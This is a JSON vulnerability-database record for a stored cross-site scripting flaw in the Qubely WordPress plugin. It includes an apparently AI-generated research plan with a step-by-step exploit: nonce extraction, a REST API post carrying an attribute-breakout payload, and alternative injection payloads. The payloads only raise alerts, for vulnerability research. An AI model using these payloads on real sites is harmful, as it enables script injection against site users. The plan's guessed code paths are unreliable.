[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fT4DpjWnkJYUwJ6WWxZ71ZlqSeYUE9ehvGvvqaozESDI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":24,"research_started_at":25,"research_completed_at":26,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":27},"CVE-2026-39638","qubely-authenticated-author-stored-cross-site-scripting","Qubely \u003C= 1.8.14 - Authenticated (Author+) Stored Cross-Site Scripting","The Qubely plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","qubely",null,"\u003C=1.8.14","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-14 00:00:00","2026-04-15 21:21:33",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F992a5062-48f9-4028-9b4b-88cd6bf1bfd5?source=api-prod",[],"researched",false,3,"This plan outlines the steps required to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Qubely** plugin (versions \u003C= 1.8.14).\n\n### 1. Vulnerability Summary\nThe **Qubely – Advanced Gutenberg Blocks** plugin fails to properly sanitize or escape user-controlled block attributes when rendering content. Since Gutenberg blocks are stored as JSON-like comments within the `post_content` of a WordPress post, an authenticated user with \"Author\" privileges (who can create and edit posts) can inject malicious JavaScript into these attributes. When the post is rendered on the frontend or viewed in the editor by another user (including an Administrator), the script executes.\n\n### 2. Attack Vector Analysis\n*   **Authentication Level:** Author or higher (users allowed to use the Gutenberg editor).\n*   **Vulnerable Endpoint:** WordPress REST API post creation\u002Fupdate endpoint: `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`.\n*   **Payload Location:** Within the `post_content` parameter, specifically inside a Qubely block's attribute JSON (e.g., `elementId`, `customClass`, or content fields).\n*   **Preconditions:** The Qubely plugin must be active. The attacker needs a valid Author session.\n\n### 3. Code Flow\n1.  **Block Registration:** Qubely registers various blocks (e.g., `qubely\u002Frow`, `qubely\u002Fbutton`, `qubely\u002Finfobox`). These blocks are defined in `dist\u002Fblocks.bundle.js` (client-side) and often have associated PHP renderers.\n2.  **Input:** An Author saves a post via the Gutenberg editor. The editor sends a REST API request containing the `post_content`. Qubely block attributes are serialized into the HTML comments: `\u003C!-- wp:qubely\u002Fblockname {\"attribute\":\"value\"} \u002F-->`.\n3.  **Storage:** WordPress saves this raw string into the `wp_posts` table.\n4.  **Sink (Rendering):** When the post is viewed, WordPress parses the blocks. For dynamic blocks, Qubely uses a `render_callback` function (typically found in `classes\u002Fclass-qubely-utils.php` or block-specific files). If these functions echo attributes like `elementId` or `customClassName` without using `esc_attr()`, the XSS is triggered.\n\n### 4. Nonce Acquisition Strategy\nTo interact with the WordPress REST API, a `_wpnonce` (specifically the `wp_rest` nonce) is required for authentication via cookies.\n\n1.  **Identify Trigger:** The REST nonce is globally available in the WordPress admin dashboard for logged-in users.\n2.  **Acquisition Steps:**\n    *   Log in as the **Author** user.\n    *   Navigate to the \"Add New Post\" page: `\u002Fwp-admin\u002Fpost-new.php`.\n    *   Use `browser_eval` to extract the nonce from the `wpApiSettings` object:\n        ```javascript\n        browser_eval(\"window.wpApiSettings.nonce\")\n        ```\n    *   This nonce is valid for the `wp_rest` action and is necessary for the `X-WP-Nonce` header.\n\n### 5. Exploitation Strategy\nWe will attempt to inject a payload into a common Qubely block attribute (e.g., `elementId` or `customClassName`) that is likely rendered as an HTML attribute.\n\n**Step 1: Test for Injection in `qubely\u002Frow`**\n*   **Action:** Create a new post via the REST API.\n*   **Method:** `POST`\n*   **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Payload (JSON Body):**\n    ```json\n    {\n      \"title\": \"XSS Test Page\",\n      \"content\": \"\u003C!-- wp:qubely\u002Frow {\\\"elementId\\\":\\\"qubely-row-id\\\\\\\" onmouseover=\\\\\\\"alert(document.domain)\\\\\\\" style=\\\\\\\"position:fixed;top:0;left:0;width:100%;height:100%;\\\\\\\"\\\"} \u002F-->\",\n      \"status\": \"publish\"\n    }\n    ```\n    *(Note: The payload breaks out of the `id=\"...\"` attribute using a double quote and adds an `onmouseover` event handler with a style that covers the page.)*\n\n**Step 2: Triggering the XSS**\n*   **Action:** Navigate to the URL of the newly created post (returned in the REST response as `link`).\n*   **Verification:** The script should execute when the mouse moves over the page.\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Install and activate Qubely \u003C= 1.8.14.\n2.  **User Creation:** Create a user with the `author` role.\n    ```bash\n    wp user create attacker attacker@example.com --role=author --user_pass=password123\n    ```\n3.  **Authentication:** Log in to the execution environment as `attacker`.\n\n### 7. Expected Results\n*   The REST API call should return a `201 Created` status code.\n*   The `post_content` in the database should contain the unescaped payload.\n*   When viewing the post frontend, the HTML source should look like:\n    `\u003Cdiv id=\"qubely-row-id\" onmouseover=\"alert(document.domain)\" ... class=\"qubely-block-row ...\">`\n*   A browser alert showing the document domain should appear.\n\n### 8. Verification Steps\nAfter performing the HTTP request, verify the storage of the payload using WP-CLI:\n```bash\n# Get the latest post ID\nPOST_ID=$(wp post list --post_type=post --format=ids | awk '{print $1}')\n\n# Check the content for the payload\nwp post get $POST_ID --field=content | grep \"onmouseover\"\n```\n\n### 9. Alternative Approaches\nIf the `elementId` attribute is sanitized, try these alternatives:\n1.  **`customClassName` Attribute:**\n    `\u003C!-- wp:qubely\u002Frow {\"customClassName\":\"\\\" onmouseover=\\\"alert(1)\\\"\"} \u002F-->`\n2.  **Generic Text Block Content:**\n    If Qubely provides a \"Text\" or \"Heading\" block, check if raw HTML is allowed in the `content` attribute:\n    `\u003C!-- wp:qubely\u002Fheading {\"content\":\"\u003Cimg src=x onerror=alert(1)>\"} \u002F-->`\n3.  **Button URL:**\n    Check if the `qubely\u002Fbutton` block allows `javascript:` URIs in the `link` attribute:\n    `\u003C!-- wp:qubely\u002Fbutton {\"url\":\"javascript:alert(1)\"} \u002F-->` (Note: `esc_url` usually catches this, but many plugins use custom rendering).","gemini-3-flash-preview","2026-04-20 22:37:42","2026-04-20 22:38:04",{"type":28,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":29},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fqubely\u002Ftags"]